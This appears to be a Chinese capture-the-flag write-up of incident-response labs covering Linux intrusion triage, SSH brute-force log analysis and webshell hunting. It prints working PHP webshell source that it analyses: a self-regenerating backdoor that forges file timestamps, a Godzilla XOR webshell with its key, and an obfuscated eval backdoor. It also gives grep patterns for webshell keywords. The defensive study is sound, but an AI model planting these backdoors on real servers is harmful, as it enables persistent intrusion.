长亭百川云 - 文章详情

玄机靶场应急响应系列(第一章)

bk

91

2024-07-18

第一章 应急响应

Linux 入侵排查

简介

1.web目录存在木马,请找到木马的密码提交
2.服务器疑似存在不死马,请找到不死马的密码提交
3.不死马是通过哪个文件生成的,请提交文件名
4.黑客留下了木马文件,请找出黑客的服务器ip提交
5.黑客留下了木马文件,请找出黑客服务器开启的监端口提交

根据提示,我们已知web
目录存在木马,需要我们上机排查;但我们上机排查时应该确定什么信息呢?**web 服务是什么环境,php、java 还是 net 呢?**进入到web
目录,我们可以看到php
的文件,再加上服务器开启的apache
服务,可以确定是php
环境的web
服务。

上机之后,我们通过服务器安装的组件和 web 目录下的文件,确定服务器的环境为php
,这里我们就使用php
环境下的处理方式,先将 web 目录下载下来

在实际现场中,我们需要保障时效性的,如现场无商业版自动化工具,经过客户同意,我们可以使用个人版的自动化工具,比如说 D盾河马,如不可以只能手工进行关键恶意文件排查

自动化

D盾扫描结果

使用 D 盾扫描之后,我们发现存在四个可疑文件

河马扫描结果

使用河马 WEBSHELL 查杀,这边我们也发现和D盾差不多的扫描结果

自动化查杀可疑文件
.shell.php
1.php
1.tar
index.php
疑似后门
html\include\Db\Sqlite.php
html\include\Model\Spider.php

手工排查

文件md5值计算,在前期就已经备份好文件,备份文件比对,在Linux中可以使用diff命令去比较两个文本文件的差异,diff -c -a -r test1 test2,这个命令会递归地比较test1和test2目录中的所有文件,将它们都当作文本文件,并使用上下文格式显示它们之间的差异
关键字排查
find ./ -name "*.php" |xargs egrep 'assert|bash|system|phpspy|c99sh|milw0rm|eval|(gunerpress|(base64_decoolcode|spider_bc|shell_exec|passthru|($_\POST[|eval(|file_put_contents|base64_decode'
查找日志的可疑活动,异常行为
grep -E 'POST|UPLOAD|eval|base64_decode|shell_exec' /var/log/apache2/access.log
根据情况调取文件短期改动分析
find ./ -type f -mtime -7 -exec grep -riE 'eval(|base64_decode(|gzinflate(|shell_exec(|system(|passthru(|exec(|assert(|popen(|proc_open(' {} +
这个命令会查找七天内修改过的文件,并且在这些文件内搜索webshell关键字
使用正则去匹配混淆代码
grep -riE '($[a-zA-Z0-9_]+ ?= ?("|')[a-zA-Z0-9+/=]+("|');)' ./
这个代码可以用于尝试匹配变量赋值中的base64编码字符串

这里我们使用关键字排查

root@ip-10-0-10-1:/var/www/html# find ./ -name "*.php" |xargs egrep 'assert|bash|system|phpspy|c99sh|milw0rm|eval|(gunerpress|(base64_decoolcode|spider_bc|shell_exec|passthru|($_\POST[|eval(|file_put_contents|base64_decode'
./.shell.php:
./index.php:$code = '';
./index.php:file_put_contents($file, $code);
./index.php:system('touch -m -d "2021-01-01 00:00:01" .shell.php');
./1.php:

经过排查,我们确定这三个为可疑文件,因为不知道具体的webshell
利用关键字,我们使用匹配的规则比较宽泛。通过文件的内容,我们可知,1.php
为一个单纯的webshell
木马,index.php
和.shell.php
似乎是组合

现在我们排查出了比较明显的木马文件,但是我们知道,在现在的后渗透中,经常伴随着不死马,内存马的持续利用,根据提示,我们排查不死马,已知是php环境

index.php
<?php
$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
system('touch -m -d "2021-01-01 00:00:01" .shell.php');
usleep(3000);
?>

这部分代码是创建 webshell 的关键。 $file = '/var/www/html/.shell.php'
;定义了 webshell 文件的路径。$code变量包含 webshell 的 PHP 代码。这段代码会检查 POST 请求中的pass参数的MD5哈希值是否匹配,如果匹配,就会执行 cmd
 参数中的 PHP 代码。可以很明显的看出来是一个webshell后门 file_put_contents($file, $code);
 将 webshell 代码写入 .shell.php 文件。 system('touch -m -d "2021-01-01 00:00:01" .shell.php');
 修改文件的修改时间为 2021 年 1 月 1 日,应该是为了掩盖文件的创建时间。usleep(3000); 暂停脚本执行 3000 微秒(3 毫秒)。

当这个index.php
文件被请求执行时,会运行一次生成.shell.php
的操作

通过已知的这些信息,我们可以查询关于这些木马文件的 web访问日志,有可能获取到攻击者真实的 IP,获取到真实 IP,有利于我们进行反制和其他失陷主机的排查

入侵排查除了排查 webshell 文件外,我们还应该排查其他的后门文件后门用户定时计划自启动项外联 IP 端口等等、根据场景我们知道攻击者还留存有一个木马文件,我们可知Windows 下的可执行文件后缀为.exe,在Linux 下的可执行文件后缀为 elf,结合我们前期看 web 目录下文件时发现存在一个shell(1).elf
的文件,加上shell这个名称也比较敏感和我们之前发现的 webshell 名称相同,列为可疑文件,但是在我们排查外联端口 IP 时没有发现该进程,有可能是该木马并没有被触发,但是在客户现场的环境下,我们不可能直接去触发该木马,这时候就使用到一些云沙箱工具了,或者说我们自己放到虚拟机去自行执行,减少一个因为误操作造成的危害。

这边我使用微步云沙箱去检测,除了微步,其实我们还可以使用其他各大厂商的威胁情报平台去分析

通过云沙箱检测,我们可以确定这个文件为一个恶意木马文件,且外联 IP 为 10.11.55.21
,但是我们还想知道外连端口怎么办,那就用 360 的云沙箱,外连端口为 3333

还有安恒的云沙箱也很不错,这边还告诉我们是使用什么工具生成的后门木马

通过拿到攻击者的 IP 信息与使用的木马后门生成工具信息,有利于我们后续的一些应急与溯源反制

Linux 日志分析

简介

1.有多少IP在爆破主机ssh的root帐号,如果有多个使用","分割
2.ssh爆破成功登陆的IP是多少,如果有多个使用","分割
3.爆破用户名字典是什么?如果有多个使用","分割
4.登陆成功的IP共爆破了多少次
5.黑客登陆主机后新建了一个后门用户,用户名是多少

根据我们已知的信息,可知本次Linux 日志分析的内容主要是关于 SSH 爆破攻击的,关于 SSH 爆破攻击,我们需要关心的内容主要有那些 IP 在攻击主机的 SSH,有攻击成功的 IP 吗,攻击者的字典是怎么样的,攻击者是从什么时间线开始的,攻击者登陆成功之后都干了什么

已知是关于 SSH 爆破的,在 Linux 系统中,/var/log/auth.log
 文件记录了与身份验证相关的所有活动,在当前路径下,我们看到了两个 auth.log
,关于这个 auth.log.1
 文件,是因为系统的一个日志轮换机制,当日志文件达到一定大小或满足特定的时间条件时,auth.log 文件会轮转,旧的文件会被重命名为auth.log.1
,其他顺延

查看有多少个 IP 在爆破主机的 root 账户,登陆的关键词是 password for root
,我们需要 IP 和统计它出现的次数,构造命令

cat /var/log/auth.log.1 /var/log/auth.log | grep -a "password for root" | awk '{print $11}' | sort | uniq -c | sort -nr | more

cat 命令用于连接auth.log.1
和auth.log
的内容合并输出;grep
用于搜索文本中的特定模式,-a 代表将文件视为文本文件,"your keyword
"是搜索的模式,也就是日志文件内包含该字样的行;awk 文本处理工具,用于提取文件的字段,提取var/log/auth.log
文件中的第十一个字段,awk 默认使用空格作为字段分隔符;sort 命令用于排序,-n 按数值排序,-r 按降序排;uniq -c 用于进行一个去重,-c 参数表示计数,IP 出现的次数;more 用于分页显示长输出

登陆成功的关键词是 Accepted
,我们需要知道它的 IP,构造命令

cat /var/log/auth.log.1 /var/log/auth.log | grep -a "Accepted " | awk '{print $11}' | sort | uniq -c | sort -nr | more

攻击者使用的字典是怎么样的,构造命令

cat /var/log/auth.log.1 /var/log/auth.log | grep -a "Failed password" | perl -ne 'if(/for (.*?) from/){ print "$1\n";}' | sort | uniq -c | sort -nr

perl -n
表示会循环读每一行,-e 表示后面跟的代码是一个 perl 表达式,也就是它if(/for (.?) from/){ print "$1\n";}
,for 和 from 是一个固定的字符串,当遇到匹配的就会输出他们中间的内容,也就是这里(.
?)

已知攻击者IP为192.168.200.2
,现在需要对他攻击线梳理一下,构造命令

cat /var/log/auth.log.1 /var/log/auth.log | grep -a "Failed password" | awk '{if($11=="192.168.200.2") print $11}'|sort|uniq -c

攻击者爆破了 4 次

现在来到了,排查攻击者留下的东西后门用户,在创建时在 auth.log
 存在一个记录,并且服务器上也应该存在一个账户管理表,可以排查是否有异常的账户

查找攻击者进行用户创建的记录

cat /var/log/auth.log.1 /var/log/auth.log | grep -a "new user"

检查/etc/passwd
内容

webshell 查杀

1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
2.黑客使用的什么工具的shell github地址的md5 flag{md5}
3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
4.黑客免杀马完整路径 md5 flag{md5}

已知web
目录存在木马,需要我们上机排查;但我们上机排查时应该确定什么信息呢?web 服务是什么环境,php、java 还是 net 呢?

服务器中存在我们熟悉的 apache
 服务,且 web 目录下为 php
 文件,可以确定是 php 环境的网站

在实际现场中,我们需要保障时效性的,如现场无商业版自动化工具,经过客户同意,我们可以使用个人版的自动化工具,比如说 D 盾河马,如不可以只能手工进行关键恶意文件排查

在这一次的靶机环境中,无法下载 web 目录下来,固先进行手工关键字排查

root@ip-10-0-10-7:/var/www/html/include/Db# find /var/www/html -name "*.php" |xargs egrep 'assert|bash|system|phpspy|c99sh|milw0rm|eval|\(gunerpress|\(base64_decoolcode|spider_bc|shell_exec|passthru|\(\$\_\POST\[|eval\(|file_put_contents|base64_decode'

这里我们通过查询,发现几个主要的可疑文件,shell.php
我们可以看出是个很普通的webshel
l,其他三个文件就需要再深入研究一下

我们确定可疑文件之后,为了更加稳妥,将文件内容 copy 下来到让自动化工具扫描一下

D盾扫描结果

河马在线扫描结果

通过自动化工具扫描,更加证实了这些后门的真实性,现在我们先分析gz.php

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
//027ccd04-5065-48b6-a32d-77c704a5e26d
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
    $data=encode($data,$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
                eval($payload);
        echo encode(@run($data),$key);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

关键代码$data=file_get_contents("php://input");
,经典的PHP 伪协议;$key 等于 shell 密钥的MD5 值的前 16 位;这里用了哥斯拉的 PHP_XOR_RAW 加密器,还有一个隐藏文件.Mysqli.php
与gz.php
内容格式相同,也是哥斯拉的马子

使用安恒云沙箱,也可以检测出来这是哥斯拉的马子 

分析完了两个哥斯拉的马子,还剩下一个top.php
,没有太明显的特征,用了base64
编码和XOR
加密

<?php
$key = "password";
//ERsDHgEUC1hI
$fun = base64_decode($_GET['func']);
for($i=0;$i<strlen($fun);$i++){
    $fun[$i] = $fun[$i]^$key[$i+1&7];
}
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
?>

该后门利用的话,需要从 URL 参数中获取加密的恶意代码进行解码解密,xor
运算解密后,解密的代码会存储在$fun
变量中,通过动态生成函数名$c并执行解密后的恶意代码才能利用,在源代码中没有实际调用的过程。我对ERsDHgEUC1hI
这串字符串挺好奇的,尝试进行base64解密,解不出来,直接使用xor解密得到一个看不懂的字符串$!3'!%"B>

感谢阅读,如果师傅们觉得本文对你有帮助,还请帮忙点点“在看”和“分享”,让更多的人看到,如果各位师傅有什么建议或指正,请私信我。

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2